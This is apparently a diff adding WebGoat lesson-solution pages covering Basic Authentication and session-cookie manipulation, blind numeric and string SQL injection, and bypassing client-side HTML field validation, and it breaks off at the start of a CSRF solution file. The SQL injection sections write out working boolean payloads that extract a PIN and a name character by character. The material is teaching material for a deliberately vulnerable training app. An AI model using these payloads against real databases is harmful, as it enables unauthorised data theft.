<v:f eqn="prod @3 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @0 0 1"/>
|
||||
<v:f eqn="prod @6 1 2"/>
|
||||
<v:f eqn="prod @7 21600 pixelWidth"/>
|
||||
<v:f eqn="sum @8 21600 0"/>
|
||||
<v:f eqn="prod @7 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @10 21600 0"/>
|
||||
</v:formulas>
|
||||
<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
|
||||
<o:lock v:ext="edit" aspectratio="t"/>
|
||||
</v:shapetype><v:shape id="Picture_x0020_1015" o:spid="_x0000_i1036" type="#_x0000_t75"
|
||||
style='width:480pt;height:276pt;visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/BasicAuthentication_files/image001.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=368
|
||||
src="lesson_solutions/BasicAuthentication_files/image025.jpg" v:shapes="Picture_x0020_1015"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>1</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Lesson 13<span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>To learn the
|
||||
name of the authentication header you must click <20>Submit<69> and intercept the
|
||||
request with WebScarab.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1016"
|
||||
o:spid="_x0000_i1035" type="#_x0000_t75" style='width:459.75pt;height:362.25pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/BasicAuthentication_files/image003.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=613 height=483
|
||||
src="lesson_solutions/BasicAuthentication_files/image026.jpg" v:shapes="Picture_x0020_1016"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>2</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Intercepted request</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>The HTTP
|
||||
header that contains the Basic Authentication information is called
|
||||
"Authorization". This value Z3Vlc3Q6Z3Vlc3Q= is Base64 encoded. You can decode
|
||||
this by using WebScarab > Tools > Transcoder.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1017"
|
||||
o:spid="_x0000_i1034" type="#_x0000_t75" style='width:365.25pt;height:243.75pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/BasicAuthentication_files/image005.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=487 height=325
|
||||
src="lesson_solutions/BasicAuthentication_files/image027.jpg" v:shapes="Picture_x0020_1017"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>3</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> WebScarabs Transcoder<span style='font-family:
|
||||
"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Click Base64
|
||||
decode. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1018"
|
||||
o:spid="_x0000_i1033" type="#_x0000_t75" style='width:449.25pt;height:300pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/BasicAuthentication_files/image007.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=599 height=400
|
||||
src="lesson_solutions/BasicAuthentication_files/image028.jpg" v:shapes="Picture_x0020_1018"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>4</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Decode value<span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>These values must
|
||||
be used to complete the questions.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1019"
|
||||
o:spid="_x0000_i1032" type="#_x0000_t75" style='width:480pt;height:276pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/BasicAuthentication_files/image009.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=368
|
||||
src="lesson_solutions/BasicAuthentication_files/image029.jpg" v:shapes="Picture_x0020_1019"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>5</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Answers<span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1020"
|
||||
o:spid="_x0000_i1031" type="#_x0000_t75" style='width:480pt;height:276pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/BasicAuthentication_files/image011.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=368
|
||||
src="lesson_solutions/BasicAuthentication_files/image030.jpg" v:shapes="Picture_x0020_1020"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>6</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Part 1 completed<span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>For this
|
||||
lesson it is very important that you understand how the JSESSIONID cookie is
|
||||
used for session management and how the basic authorization header is used for
|
||||
authentication.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif";mso-no-proof:
|
||||
yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1021" o:spid="_x0000_i1030"
|
||||
type="#_x0000_t75" style='width:435.75pt;height:343.5pt;visibility:visible;
|
||||
mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/BasicAuthentication_files/image013.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=581 height=458
|
||||
src="lesson_solutions/BasicAuthentication_files/image031.jpg" v:shapes="Picture_x0020_1021"><![endif]></span><span
|
||||
style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>When WebGoat
|
||||
is able to retrieve a valid session you are automatically redirected to the
|
||||
lesson you are working on. When there is no valid session, WebGoat will create
|
||||
a new JSESSIONID and you will see the first lesson, HTTP Basics.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>When there is
|
||||
no session cookie, WebGoat will first verify if you already authenticated. If
|
||||
not, you will get a pop-up window from the browser that requests your user name
|
||||
and password (guest/guest). After the user credentials are validated, you will
|
||||
access the Start-page of WebGoat and WebGoat will create a new JSESSIONID for
|
||||
this session.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>To access
|
||||
WebGoat as the user basic, you need to corrupt the existing JSESSIONID and the
|
||||
Authorization header. You can do this in WebScarab. Intercept the request and
|
||||
delete a character from the JSESSIONID value and the Authorization header.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>WebGoat will
|
||||
require you to authenticate, so you now enter for the user name basic and for
|
||||
the password basic. This logs you on as the user basic. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Remember our
|
||||
JSESSIONID? This JSESSIONID is a non-persistent cookie which is set during our
|
||||
first visit. Every request from the browser to WebGoat will have this cookie
|
||||
value. Corrupting this value in the previous request will not change the cookie
|
||||
value stored in browser memory and that is the reason why the old JSESSIONID
|
||||
cookie is sent in every request.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1022"
|
||||
o:spid="_x0000_i1029" type="#_x0000_t75" style='width:244.5pt;height:265.5pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/BasicAuthentication_files/image015.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=326 height=354
|
||||
src="lesson_solutions/BasicAuthentication_files/image032.jpg" v:shapes="Picture_x0020_1022"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>7</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Basic Authentication<span style='font-family:
|
||||
"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>You clearly
|
||||
see that the JSESSIONID is the same like in the previous request, but the
|
||||
Authorization header now contains the Base 64 encoded value of basic:basic (you
|
||||
can decode this value in WebScarab > Tools > Transcoder).<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1023"
|
||||
o:spid="_x0000_i1028" type="#_x0000_t75" style='width:459.75pt;height:362.25pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/BasicAuthentication_files/image017.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=613 height=483
|
||||
src="lesson_solutions/BasicAuthentication_files/image033.jpg" v:shapes="Picture_x0020_1023"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>8</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Logged on as user basic<span style='font-family:
|
||||
"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Because of the
|
||||
valid JSESSIONID, WebGoat retrieves the authenticated user via the server-side
|
||||
session object using getSession().getUser(). To make WebGoat believe that you
|
||||
are authenticated as basic, you need to corrupt the JSESSIONID, as shown in the
|
||||
screenshot below.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1024"
|
||||
o:spid="_x0000_i1027" type="#_x0000_t75" style='width:448.5pt;height:353.25pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/BasicAuthentication_files/image019.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=598 height=471
|
||||
src="lesson_solutions/BasicAuthentication_files/image034.jpg" v:shapes="Picture_x0020_1024"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>9</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Corrupt JSESSIONID<span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1025"
|
||||
o:spid="_x0000_i1026" type="#_x0000_t75" style='width:480pt;height:276pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/BasicAuthentication_files/image021.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=368
|
||||
src="lesson_solutions/BasicAuthentication_files/image035.jpg" v:shapes="Picture_x0020_1025"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>10</span><!--[if supportFields]><span
|
||||
style='mso-element:field-end'></span><![endif]--> Start page for user basic<span
|
||||
style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Now you are
|
||||
redirected to the WebGoat start page. The JSESSIONID is changed and you lost all
|
||||
your green stars because the basic user hasn<73>t completed any lesson. Go to the
|
||||
lesson "Basic Authentication" to complete this lesson.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1026"
|
||||
o:spid="_x0000_i1025" type="#_x0000_t75" style='width:480pt;height:276pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/BasicAuthentication_files/image023.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=368
|
||||
src="lesson_solutions/BasicAuthentication_files/image036.jpg" v:shapes="Picture_x0020_1026"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>11</span><!--[if supportFields]><span
|
||||
style='mso-element:field-end'></span><![endif]--> Lesson 13 Completed<span
|
||||
style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
</div>
|
||||
<table align='RIGHT' cellspacing='0' width='90%' border='0' cellpadding='0'>
|
||||
<tr>
|
||||
<td valign='MIDDLE' width='100%' align='RIGHT class=MsoNormal' style='font-family:"Arial","sans-serif"'>
|
||||
Solution by Erwin Geirnaert
|
||||
</td>
|
||||
<td valign='MIDDLE' align='RIGHT'><img hspace='0' vspace='0' border='0' alt='ZION SECURITY' src='images/logos/zionsecurity.gif'></td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@ -0,0 +1,46 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Solution: Blind Numeric SQL Injection</title>
|
||||
<link rel="stylesheet" type="text/css" href="lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b> Blind Numeric SQL Injection</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack.
|
||||
<br><br>
|
||||
Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.<br>
|
||||
<br>
|
||||
It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries, even if the threat of SQL injection has been prevented in some other manner.<br>
|
||||
<br>
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
The form below allows a user to enter an account number and determine if it is valid or not. Use this form to develop a true / false test check other entries in the database.<br/>
|
||||
|
||||
The goal is to find the value of the field pin in table pins for the row with the cc_number of 1111222233334444. The field is of type int, which is an integer.<br/>
|
||||
|
||||
Put the discovered pin value in the form to pass the lesson.
|
||||
</p>
|
||||
|
||||
<b>Solution:</b><br/><br/>
|
||||
In this lesson, the only output returned by the webpage is whether a given account exists or not. Therefore, we cannot simply request the pin number for this account.<br/>
|
||||
We can take advantage of the query being used, however. The database query being used is:<br/>
|
||||
SELECT * FROM user_data WHERE userid=<b>accountNumber</b>;<br/><br/>
|
||||
If this query returns information for the account, the page will indicate the account exists. However, if the userid doesnt exist, no data is returned and the page says the account is invalid.
|
||||
By using the AND function, we can add additional conditions to this query. If the additional condition is true, the result will be a valid account, if not the page will indicate the account is invalid.<br/>
|
||||
For example, try entering these two commands for the account ID:<br/>
|
||||
<b>101 AND 1=1</b> and <b>101 AND 1=2</b><br/><br/>
|
||||
In the first statement, both conditions return true. Account 101 is found and 1=1, so the page indicates the account is valid.<br/>
|
||||
In the second statement, only the first condition is true. Account 101 is found but 1 does not equal 2, so the page indicates the account is invalid.<br/><br/>
|
||||
Now, we can use a more complicated command for our second true/false statement. The following statement will tell us if the pin is above or below 10000:<br/>
|
||||
<b>101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );</b><br/><br/>
|
||||
If our command returns false, it makes the entire statement false and returns and invalid account, which indicates the pin number is below 10000. If it is above 10000, the opposite is true.<br/><br/>
|
||||
The last step is to repeatedly use this command with a different number to the right of the > operator until we can determine the pin number.<br/>
|
||||
The pin number is <b>2364</b>. Enter this number to complete the lesson.
|
||||
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@ -0,0 +1,42 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Solution: Blind String SQL Injection</title>
|
||||
<link rel="stylesheet" type="text/css" href="lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b> Blind String SQL Injection</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack.
|
||||
<br><br>
|
||||
Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.<br>
|
||||
<br>
|
||||
It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries, even if the threat of SQL injection has been prevented in some other manner.<br>
|
||||
<br>
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
The form below allows a user to enter an account number and determine if it is valid or not. Use this form to develop a true / false test check other entries in the database.<br/>
|
||||
|
||||
The goal is to find the value of the field name in table pins for the row with the cc_number of 4321432143214321. The field is of type varchar, which is a string.<br/>
|
||||
|
||||
Put the discovered name in the form to pass the lesson. Only the discovered name should be put into the form field, paying close attention to the spelling and capitalization.<br/>
|
||||
</p>
|
||||
|
||||
<b>Solution:</b><br/><br/>
|
||||
This lesson is conceptually very similar to the previous lesson. The big difference is we are searching for a string, not a number.<br/>
|
||||
We will attempt to figure out the name the same way, by injecting a boolean expression into the pre-scripted SQL query. It looks similar to the one from the previous lesson:<br/>
|
||||
<b>101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );</b><br/><br/>
|
||||
We can compare characters the same way we can compare numbers. For example, N > M. However, without the SUBSTRING method, we are attempting to compare the entire string to one letter, which doesn't help us. The substring method has the following syntax:<br/>
|
||||
<b>SUBSTRING(STRING,START,LENGTH)</b><br/><br/>
|
||||
The expression above compares the first letter to H. It will return false and show invalid account number. Changing the boolean expression to <b>< 'L'</b> returns true, so we know the letter is between H and L. With a few more queries, we can determine the first letter is <b>J</b>. Note that capitalization matters, and it's right to assume the first letter is capitalized.<br/><br/>
|
||||
To determine the second letter, we have to change the SUBSTRING parameters to compare against the second letter. We can use this command:<br/>
|
||||
<b>101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), <u>2</u>, 1) < '<u>h</u>' );</b><br/><br/>
|
||||
Using several more queries, we can determine the second letter is <b>i</b>. Note that we are comparing the second character to a lowercase h. Continue this process until you have the rest of the letters.
|
||||
The name is <b>Jill</b>. Enter this name to complete the lesson. Capitalization matters.
|
||||
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@ -0,0 +1,37 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Solution: Bypass HTML Field Restrictions</title>
|
||||
<link rel="stylesheet" type="text/css" href="lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b> Bypass HTML Field Restrictions</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
Client-side validation should not be considered a secure means of validating parameters. These validations only help reduce the amount of server processing time for normal users who do not know the format of required input. Attackers can bypass these mechanisms easily in various ways. Any client-side validation should be duplicated on the server side. This will greatly reduce the likelihood of insecure parameter values being used in the application
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
The user should be able send the website input that it wasn't expecting.<br/>
|
||||
For this exercise, your job is to break the client side validation and send the website input that it wasn't expecting, including input for the disabled field. <b>You must break all 6 validators at the same time</b>.
|
||||
</p>
|
||||
|
||||
<b>Solution:</b><br/><br/>
|
||||
To solve this lesson, we need to put invalid characters (slashes, quotes, etc.) into all six fields. Since three of the fields are toggles or dropdowns, we will need to intercept the request with Webscarab.<br/>
|
||||
We still need to put invalid data in the disabled field, however. There are two ways of accomplishing this; we can enable the field using Firebug, or we can insert an additional field using Webscarab.<br/><br/>
|
||||
|
||||
To enable the field, open Firebug and find the form containing all of our fields. Find the text input named "disabledinput". Delete the <b>disabled=""</b> parameter. This causes the field on the page to be unlocked, and will also cause the disabledinput variable to appear in Webscarab.<br/>
|
||||
<img src="lesson_solutions/BypassHtmlFieldRestrictions_files/image001.jpg"><br/>
|
||||
<font size="2"><b>Enabled input after removing the "disabled" parameter in Firebug.</b></font><br/><br/>
|
||||
The other option is to add another variable when intercepting the request with Webscarab. When the intercept request window pops up, use the insert button to add a new variable called <b>disabledinput</b>.<br/><br/>
|
||||
Either way you add the input, the next step is to invalidate all of the responses. Put any symbol or character that isn't allowed in for each variable. Make sure you put more than five characters in the field that is limited by length.<br/>
|
||||
|
||||
<img src="lesson_solutions/BypassHtmlFieldRestrictions_files/image002.jpg"><br/>
|
||||
<font size="2"><b>Correctly filled in request with all fields invalidated and the disabledinput variable added.</b></font><br/><br/>
|
||||
|
||||
Submit the request to complete the lesson.
|
||||
<br/>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
869
src/main/webapp/lesson_solutions_1/CSRF.html
Normal file
869
src/main/webapp/lesson_solutions_1/CSRF.html
Normal file
@ -0,0 +1,869 @@
|
||||
<html xmlns:v="urn:schemas-microsoft-com:vml"
|
||||
xmlns:o="urn:schemas-microsoft-com:office:office"
|
||||
xmlns:w="urn:schemas-microsoft-com:office:word"
|
||||
xmlns:m="http://schemas.microsoft.com/office/2004/12/omml"
|
||||
xmlns="http://www.w3.org/TR/REC-html40">
|
||||
|
||||
<head>
|
||||
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
|
||||
<meta name=ProgId content=Word.Document>
|
||||
<meta name=Generator content="Microsoft Word 12">
|
||||
<meta name=Originator content="Microsoft Word 12">
|
||||
<link rel=File-List href="lesson_solutions/CSRF_files/filelist.xml">
|
||||
<link rel=Edit-Time-Data href="lesson_solutions/CSRF_files/editdata.mso">
|
||||
<!--[if !mso]>
|
||||
<style>
|
||||
v\:* {behavior:url(#default#VML);}
|
||||
o\:* {behavior:url(#default#VML);}
|
||||
w\:* {behavior:url(#default#VML);}
|
||||
.shape {behavior:url(#default#VML);}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:DocumentProperties>
|
||||
<o:Author>egeirnaert</o:Author>
|
||||
<o:LastAuthor>egeirnaert</o:LastAuthor>
|
||||
<o:Revision>3</o:Revision>
|
||||
<o:TotalTime>1193</o:TotalTime>
|
||||
<o:Created>2007-07-12T11:07:00Z</o:Created>
|
||||
<o:LastSaved>2007-07-12T15:19:00Z</o:LastSaved>
|
||||
<o:Pages>2</o:Pages>
|
||||
<o:Words>471</o:Words>
|
||||
<o:Characters>2690</o:Characters>
|
||||
<o:Company> </o:Company>
|
||||
<o:Lines>22</o:Lines>
|
||||
